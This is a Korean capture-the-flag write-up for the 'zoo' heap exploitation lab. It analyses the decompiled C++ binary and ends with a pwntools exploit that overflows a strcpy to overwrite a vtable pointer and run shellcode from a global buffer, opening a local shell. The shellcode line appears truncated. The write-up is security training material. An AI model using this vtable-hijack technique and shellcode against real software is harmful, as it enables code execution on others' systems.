Search

[Hicon training] LAB 15

Tags
writeup
heap
pwn
Date
2020/01/10

1. 문제

1) mitigation 확인
카나리 뺴고 안걸려있다. RWX 영역이 있으니, 쉘코드를 삽입하는 문제로 의심된다
2) 문제 확인
동물원을 만드는 문제이다. 강아지와 고양이를 추가할 수 있고, 동물의 울음소리, 정보를 알수 있다. 딱 봐도 힙 문제인듯 싶다
3) 코드흐름 파악
이번 문제는 C++ 바이너리이다.
1.
main()
int __cdecl main(int argc, const char **argv, const char **envp) { __int64 v3; // rax int v4; // [rsp+4h] [rbp-Ch] unsigned __int64 v5; // [rsp+8h] [rbp-8h] v5 = __readfsqword(0x28u); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); std::operator<<<std::char_traits<char>>(&std::cout, "Name of Your zoo :"); read(0, &nameofzoo, 0x64uLL); while ( 1 ) { menu(); std::operator<<<std::char_traits<char>>(&std::cout, "Your choice :"); std::istream::operator>>(&edata, &v4); std::ostream::operator<<(&std::cout, &std::endl<char,std::char_traits<char>>); switch ( v4 ) { case 1: adddog(); break; case 2: addcat(); break; case 3: listen(); break; case 4: showinfo(); break; case 5: remove(); break; case 6: _exit(0); return; default: v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Invaild choice"); std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>); break; } } }
C
복사
제일 먼저 nameofzoo에 0x64 입력을 받는다. 이는 bss영역에 존재한다
그다음 v4에 입력을 받고 알맞은 메뉴가 실행된다
2.
adddog()함수
unsigned __int64 adddog(void) { __int64 v0; // rbx int v2; // [rsp+Ch] [rbp-74h] __int64 v3; // [rsp+10h] [rbp-70h] __int64 v4; // [rsp+18h] [rbp-68h] char v5; // [rsp+20h] [rbp-60h] char v6; // [rsp+40h] [rbp-40h] unsigned __int64 v7; // [rsp+68h] [rbp-18h] v7 = __readfsqword(0x28u); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v5); std::operator<<<std::char_traits<char>>(&std::cout, "Name : "); std::operator>><char,std::char_traits<char>,std::allocator<char>>(&edata, &v5); std::operator<<<std::char_traits<char>>(&std::cout, "Weight : "); std::istream::operator>>(&edata, &v2); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v6, &v5); v0 = operator new(0x28uLL); Dog::Dog(v0, (__int64)&v6, v2); v4 = v0; std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v6); v3 = v4; std::vector<Animal *,std::allocator<Animal *>>::push_back(&animallist, &v3); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v5); return __readfsqword(0x28u) ^ v7; }
C
복사
우선 이름을 v5변수에 저장한다. 그리고 Weight는 v2에 저장한다
그다음 basic_string을 이용하여 v5를 C style string? 으로 변환해준다음, 이를 v6변수에 넣는다
new 를 통해 0x28사이즈 객체를 하나 선언한다
v0, 이름,몸무게 총 3개의 인자를 가지고 Dog 객체를 하나 만든다
v0 = operator new(0x28uLL); Dog::Dog(v0, (__int64)&v6, v2); =========================================== Dog *mydog = new Dog(name,weight); 요 의미이다
C
복사
그리고 animallist vector에 Dog 객체를 가리키는 포인터를 push_back을 이용해 넣어준다
그럼 Dog 클래스가 어떻게 되있는지 살펴보자
2.1 Dog class
기드라로 해당 바이너리를 확인한 결과이다. 왼쪽 Symbol Tree를 보면 해당 바이너리에서 생성된 클래스들을 확인 가능하다. Dog Class에는 3개의 함수가 존재한다.
Dog Class를 보면 Animal 생성자가 먼저 호출되는 것을 볼 수 있다. 따라서 Dog는 Animal class을 상속받기 때문에 Dog 객체를 생성하면, Animal 의 생성자가 호출되는것을 알 수 있다
그다음 Dog의 생성자에서 strcpy를 이용해 이름을 this+8에 복사하고, 몸무게를 this+0x20에 넣는다
그리고 this에 0x403140을 넣는데, 이는 speak함수 포인터이다. info 함수포인터는 0x403148위치에 존재한다. info함수포인터에 대한 코드가 여기서 없는걸로 봐서 info함수는 speak 함수포인터기준+8로 하여 호출되는 것으로 예상된다
3. remove() 함수
/* WARNING: Unknown calling convention yet parameter storage is locked */ /* remove() */ void remove(void) { __normal_iterator _Var1; long lVar2; basic_ostream *this; ulong uVar3; void **ppvVar4; ulong uVar5; long in_FS_OFFSET; uint local_2c; undefined8 local_28; long local_20; local_20 = *(long *)(in_FS_OFFSET + 0x28); lVar2 = size((vector<Animal*,std--allocator<Animal*>> *)animallist); if (lVar2 == 0) { this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"no any animal!"); operator<<((basic_ostream<char,std--char_traits<char>> *)this, _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_); } else { operator<<<std--char_traits<char>>((basic_ostream *)cout,"index of animal : "); operator>>((basic_istream<char,std--char_traits<char>> *)__TMC_END__,&local_2c); uVar5 = (ulong)local_2c; uVar3 = size((vector<Animal*,std--allocator<Animal*>> *)animallist); if (uVar5 < uVar3) { ppvVar4 = (void **)operator[]((vector<Animal*,std--allocator<Animal*>> *)animallist, (ulong)local_2c); operator.delete(*ppvVar4); local_28 = begin((vector<Animal*,std--allocator<Animal*>> *)animallist); _Var1 =operator+((__normal_iterator<Animal**,std--vector<Animal*,std--allocator<Animal*>>> *) &local_28,(ulong)local_2c); erase((vector<Animal*,std--allocator<Animal*>> *)animallist,_Var1); } else { this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"out of bound !"); operator<<((basic_ostream<char,std--char_traits<char>> *)this, _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_); } } if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
C
복사
삭제하려는 인덱스를 입력하고 namelist에 들어있는 객체 포인터를 delete 연산을 한다
그다음 erase를 호출하여 벡터에서 해당 값을 삭제한다
4. listen() 함수
/* WARNING: Unknown calling convention yet parameter storage is locked */ /* listen() */ void listen(void) { long lVar1; basic_ostream *this; ulong uVar2; code **ppcVar3; ulong uVar4; long in_FS_OFFSET; uint local_24; long local_20; local_20 = *(long *)(in_FS_OFFSET + 0x28); lVar1 = size((vector<Animal*,std--allocator<Animal*>> *)animallist); if (lVar1 == 0) { this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"no any animal!"); operator<<((basic_ostream<char,std--char_traits<char>> *)this, _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_); } else { operator<<<std--char_traits<char>>((basic_ostream *)cout,"index of animal : "); operator>>((basic_istream<char,std--char_traits<char>> *)__TMC_END__,&local_24); uVar4 = (ulong)local_24; uVar2 = size((vector<Animal*,std--allocator<Animal*>> *)animallist); if (uVar4 < uVar2) { ppcVar3 = (code **)operator[]((vector<Animal*,std--allocator<Animal*>> *)animallist, (ulong)local_24); (***(code ***)*ppcVar3)(*ppcVar3); } else { this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"out of bound !"); operator<<((basic_ostream<char,std--char_traits<char>> *)this, _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_); } } if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
C
복사
원하는 인덱스를 선택한다
local_24에 인덱스가 담기는데 animalist의 배열인덱스를 참조하여 speak함수를 호출한다.
디버깅 결과 해당 speak함수는 다음의 순서로 호출된다
animalist[i]에 담긴 값 -> vtable주소 -> vtable안에서 speak함수 포인터 -> speak함수호출
Markdown
복사

2. 접근방법

분석은 요정도로 끝맞췄다. 우선 strcpy함수로 인하여 bof가 발생가능하다. addDog() 함수를 한번 호출할때 마다, Dog객체를 new 연산을 통해 힙에 할당이 되는데, 마지막에 벡터에 추가하는 것도 힙 영역을 사용한다 따라서
한번 addDog함수가 호출될때마다 저렇게 힙이 구성된다. 0x30은 new연산을 통해 생성된 청크이고, 0x21사이즈 부분은 벡터에 넣을때 사용되는 청크로 확인된다. 여기서 listen함수를 호출하면, animalist[0]에 담겨져 있는 0x617c20을 참조한다
그다음 0x617c20에 담긴 0x403140을 참고하고,
0x403140에 담긴 0x401b0a를 참조한다. 그리고 마지막으로 저기에 담긴 speak함수가 호출되는 식으로 흘러간다.
그럼 아래 사진을 다시보자
strcpy를 통해 입력한 이름이 new 로 생성된 mem +8에 들어간다. 만약 bof를 일으켜 아래의 0x403140을 다른 값으로 덮어버리고 해당 영역을 쉘코드로 덮으면 쉘이 떨어질 것이다.
하나 알아둬야할 점은, strcpy함수가 호출된 후에 그다음 0x21 청크(vector 수행)이 생성되므로, 2번의 addDog함수를 호출하고, 인덱스0 을 제거한다음, 다시 addDog을 통해 strcpy로 bof을 일으켜야 한다.
먼저 bof를 일으킨다면, 어짜피 0x21 청크가 생성되면서 그 값이 정상값(0x403140)으로 덮히기 때문에 의미가 없다.

3. 풀이

시나리오는 다음과 같다
1.
addDog() 함수 두번 호출하기
2.
remove(0)
3.
addDog()함수 호출하여 vtable주소 덮기
위 사진은 addDog() 2번, remove() 한번, 그다음 addDog()이 호출되어 strcpy가 호출되기 직전 상황이다. 왠지는 모르겠지만, 0번 인덱스의 listen을 호출하게 되면, animalst[0]에서 인덱스 1번의 vtable을 접근해서 확인한다.
뭐 어쨋든.. 따라서 우리는 strcpy를 통해 0x9e0c68까지 더미값을 채우고 그다음 쉘코드가 담긴 주소를 넣으면 된다.
우리가 첨에 zoo 이름을 0x64만큼 입력할수 있었는데, 여기에 쉘코드를 넣으면 된다. 하지만 nameofzoo 이 주소의 하위 바이트는 0x20이기 때문에 cin operator에서 입력의 끝으로 판단하여 복사가 더이상 안일어난다.
따라서 nameofzoo(0x605420) + 8을 주면 된다.
nameofzoo+8 주소가 잘 들어간것을 확인할 수있다.
아까도 말했듯이, speak함수는 이중 포인터로 담겨져있는 공간을 참조하기 떄문에 다음과 같이 nameofzoo 변수에 쉘코드를 넣어줘야한다
nameofzoo = "A"*8 nameofzoo += nameofzoo + 0x10 #animalist에서 nameofzoo+8을 참조함(여기!!) nameofzoo += nameofzoo + 0x18 #여기가 가리키는 값은 nameofzoo+0x18임 그곳이 가리키는 곳이 nameofzoo += shellcode # 바로 여기임.
Markdown
복사
최종 익스코드는 다음과 같다
from pwn import * context(os="linux",log_level="DEBUG") p=process("./zoo") #gdb.attach(p,'code\nb *0xAF8+$code\n') gdb.attach(p) def dog(name,weight): p.sendlineafter("Your choice :","1") p.sendlineafter("Name : ",name) p.sendlineafter("Weight : ",str(weight)) def remove(index): p.sendlineafter("Your choice :","5") p.sendlineafter("animal : ",str(index)) def listen(index): p.sendlineafter("Your choice :","3") p.sendlineafter("animal : ",str(index)) namezoo=0x605420 shellcode="\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\$ zoo="A"*8+p64(namezoo+0x10)+p64(namezoo+0x18)+shellcode p.sendlineafter("Name of Your zoo :",zoo) dog("A",1) dog("B",1) remove(0) namezoo=0x605420 payload="A"*0x48+p64(namezoo+8) dog(payload,1) listen(0) p.interactive()
Python
복사

4. 몰랐던 개념

c++은 cin에서 0x20을 입력의 끝으로 판단함. 따라서 strcpy 호출시 0x20을 만나면 끊김
C++ basic_string → 이건 아직도 잘 모르겠..
vtable
push_back 호출시 새로운 vector 객체를 할당(힙 영역)하고 복사해줌